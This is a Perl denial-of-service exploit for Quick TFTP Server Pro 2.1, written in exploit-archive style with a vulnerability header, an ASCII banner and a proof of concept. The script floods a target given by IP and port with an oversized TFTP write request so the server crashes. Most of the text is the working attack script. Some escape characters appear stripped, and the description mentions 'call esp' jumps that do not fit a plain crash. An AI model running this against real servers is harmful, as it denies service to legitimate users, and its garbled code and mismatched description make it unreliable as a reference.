Quick TFTP Server Pro 2.1 Denial Of Service

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Quick TFTP Server Pro 2.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 12 january 2024
# Vendor Homepage: https://www.tallsoft.com/
# Download to demo: https://drive.google.com/file/d/1Q4tIYjtv9Aqe5VE1fwnT18d3Cc-xkYEX/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Quick TFTP Server Pro 2.1
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=yz7_ImFYueA

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to TFTP.
#The following request sends a large amount of data to the TFTP to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();

print "t    ==> Connecting to webserver... nn";
sleep(1);

my $filename = "exploit";

$shell = "A"x317;

my $mode = "A" x 1360;

my $muha = "x00x02" .$filename . "x00" .$mode;

socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname('udp')) or die "socket() failed: $!";
send(SOCKET, $muha, 0, sockaddr_in($port, inet_aton($ip))) or die "send() failed: $!";  

print "t    ==> Done! Exploited!";
   sub intro {
      print q {


     _________
    |         |
    | Exploit |==( )    //////
    |_________|   |||   | o o|                 
                    ||| ( c  )                  ____
                     ||| = /                  ||   _
                      ||||||                   ||     |
                      ||||||                ...||__/|-"
                      ||||||             __|________|__
                        |||             |______________|
                        |||             || ||      || ||
                        |||             || ||      || ||
      ------------|||-------------||-||------||-||-------
                        |__>            || ||      || ||          
                        
      [+] Quick TFTP Server Pro 2.1 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: [email protected]

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "ntUsage: $0 <ip> <port>                 n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated